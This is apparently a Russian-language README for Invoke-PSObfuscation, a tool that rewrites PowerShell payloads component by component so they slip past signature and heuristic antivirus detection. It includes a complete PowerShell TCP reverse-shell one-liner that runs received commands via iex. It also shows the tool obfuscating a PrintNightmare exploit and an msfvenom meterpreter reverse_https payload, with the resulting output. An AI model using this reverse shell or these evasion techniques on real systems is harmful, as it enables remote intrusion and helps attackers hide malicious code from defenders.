
Глубокий подход к обфускации отдельных компонентов полезной нагрузки PowerShell, будь то в Windows или Kali Linux.
Традиционные методы обфускации, как правило, добавляют слои для инкапсуляции готового кода, например base64 или сжатие. Такие полезные нагрузки продолжают иметь разную степень успеха, но их стало тривиально извлекать, а некоторые загрузчики часто обнаруживаются, что по сути создает узкие места.
Подход, который представляет этот инструмент, — это методология, позволяющая нацеливаться и обфусцировать отдельные компоненты скрипта со случайными вариациями, достигая при этом той же заложенной логики, без инкапсуляции всей полезной нагрузки в единый слой. Из-за сложности логики обфускации результирующие полезные нагрузки будет очень сложно подписать, и они проскользнут мимо эвристических движков, не запрограммированных на эмуляцию унаследованной логики.
Хотя этот скрипт может успешно обфусцировать большинство полезных нагрузок самостоятельно, этот проект также послужит постоянной основой, которую я буду использовать для создания будущих функций, которые будут использовать эту основу для предоставления специализированных обфусцированных полезных нагрузок, например той, которая создает только обратные оболочки.
Я написал статью в блоге для Offensive Security в качестве введения в техники, которые представляет этот инструмент. Прежде чем углубляться дальше, рекомендую сначала прочитать её: https://www.offensive-security.com/offsec/powershell-obfuscation/
В рамках моей текущей работы по обфускации PowerShell я создаю скрипты, которые генерируют специализированные полезные нагрузки, использующие эту основу. Они помогли мне сэкономить время, и я надеюсь, они будут полезны и вам. Вы можете найти их в собственных папках в корне этого репозитория.
Как и многие другие языки программирования, PowerShell можно разбить на множество различных компонентов, составляющих исполняемую логику. Это позволяет нам относительно легко обходить сигнатурные детекции, изменяя то, как мы представляем отдельные компоненты в полезной нагрузке, в замаскированную или непонятную производную.
Имейте в виду, что нацеливание на каждый компонент в сложных полезных нагрузках очень навязчиво. Этот инструмент построен так, чтобы вы могли контролируемо выбирать компоненты для обфускации. Я обнаружил, что многие сигнатуры можно обойти, просто нацелившись на командлеты, переменные и любые комментарии. При использовании этого против сложных полезных нагрузок, таких как print nightmare, помните, что кастомные параметры функций / переменные также будут изменены. Всегда тщательно тестируйте результирующие полезные нагрузки и убедитесь, что вы знаете о любых измененных именованных параметрах.
Типы компонентов, такие как пайпы и переменные конвейера, представлены здесь, чтобы сделать вашу полезную нагрузку более запутанной и сложной для декодирования.
Поддерживаемые типы
Каждый компонент имеет свой собственный выделенный генератор, который содержит список возможных статических или динамически генерируемых значений, случайным образом выбираемых при каждом выполнении. Если существует несколько экземпляров компонента, генератор будет обрабатывать каждый из них по отдельности. Это добавляет степень случайности каждый раз, когда вы запускаете этот инструмент для данной полезной нагрузки, так что каждая итерация будет отличаться. Единственное исключение — имена переменных.
Если алгоритм, связанный с конкретным компонентом, начинает вызывать флаги полезной нагрузки, текущий дизайн позволяет легко изменить логику для этого генератора, не нарушая работу всего скрипта.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
Эта основа и результирующие полезные нагрузки были протестированы на следующих операционных системах и версиях PowerShell. Результирующие обратные оболочки не будут работать на PowerShell v2.0.
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Слой 0 обфускации
>> https://github.com/gh0x0st
[*] Обфускация пространств имен классов
[*] Обфускация командлетов
[*] Обфускация переменных
[-] -DriverName теперь -QhYm48JbCsqF
[-] -NewUser теперь -ybrcKe
[-] -NewPassword теперь -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL теперь -dNr
[-] -ModuleName теперь -jd
[-] -Module теперь -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type теперь -fjTOTLDCGufqEu
[-] -FullName теперь -0vEKnCqm
[-] -EnumElements теперь -B9aFqfvDbjtOXPxrR
[-] -Bitfield теперь -bFUCG7LB9gq50p4e
[-] -StructFields теперь -xKryDRQnLdjTC8
[-] -PackingSize теперь -0CB3X
[-] -ExplicitLayout теперь -YegeaeLpPnB
[*] Удаление комментариев
[*] Запись полезной нагрузки в o-printnightmare.ps1
[*] Готово
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Слой 0 обфускации
>> https://github.com/gh0x0st
[*] Обфускация целых чисел
Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
Generator 1 >> 65535 >> $((65535))
[*] Обфускация строк
Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
Generator 2 >> PS >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Обфускация командлетов
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Запись полезной нагрузки в /home/tristram/obfuscated.ps1
[*] Готово

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1
>> Слой 0 обфускации
>> https://github.com/gh0x0st
[*] Обфускация целых чисел
[*] Обфускация переменных
[*] Запись полезной нагрузки в o-meterpreter.ps1
[*] Готово
<#
.SYNOPSIS
Преобразует скрипты PowerShell в нечто замаскированное, неясное или непонятное.
.DESCRIPTION
В то время как большинство инструментов обфускации склонны добавлять слои для инкапсуляции готового кода, такие как base64 или сжатие,
они обычно оставляют целевую полезную нагрузку нетронутой, что по сути создает узкие места. Invoke-PSObfuscation
фокусируется на замене существующих компонентов вашего кода, или слоя 0, альтернативными значениями.
.PARAMETER Path
Полезная нагрузка PowerShell, предоставленная пользователем в виде обычного файла.
.PARAMETER All
Флаг all используется для задействования всех поддерживаемых компонентов обфускации заданной полезной нагрузки. Это действие очень навязчиво
и может привести к нарушению работы вашей полезной нагрузки. При использовании с ванильной обратной оболочкой проблем быть не должно.
Однако с более сложными полезными нагрузками рекомендуется нацеливаться на конкретные компоненты. Имейте в виду, что некоторые
генераторы, представленные в этом скрипте, могут даже запутать вашу ISE, поэтому обязательно тестируйте должным образом.
.PARAMETER Aliases
Флаг aliases используется для указания функции обфусцировать псевдонимы.
.PARAMETER Cmdlets
Флаг cmdlets используется для указания функции обфусцировать командлеты.
.PARAMETER Comments
Флаг comments используется для указания функции удалить все комментарии.
.PARAMETER Integers
Флаг integers используется для указания функции обфусцировать целые числа.
.PARAMETER Methods
Флаг methods используется для указания функции обфусцировать вызовы методов.
.PARAMETER NamespaceClasses
Флаг namespaceclasses используется для указания функции обфусцировать классы пространств имен.
.PARAMETER Pipes
Флаг pipes используется для указания функции обфусцировать пайпы.
.PARAMETER PipelineVariables
Флаг pipelinevariables используется для указания функции обфусцировать переменные конвейера.
.PARAMETER ShowChanges
Флаг ShowChanges используется для указания скрипту отображать исходные и обфусцированные значения на экране.
.PARAMETER Strings
Флаг strings используется для указания функции обфусцировать строки приглашений.
.PARAMETER Variables
Флаг variables используется для указания функции обфусцировать переменные.
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
.EXAMPLE
PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
.OUTPUTS
System.String, System.String
.NOTES
Дополнительная информация о функции.
#>
| Версия PS | Протестировано на ОС | Invoke-PSObfuscation.ps1 | Reverse Shell |
|---|
| 7.1.3 | Kali 2021.2 | Поддерживается | Поддерживается |
| 5.1.19041.1023 | Windows 10 10.0.19042 | Поддерживается | Поддерживается |
| 5.1.21996.1 | Windows 11 10.0.21996 | Поддерживается | Поддерживается |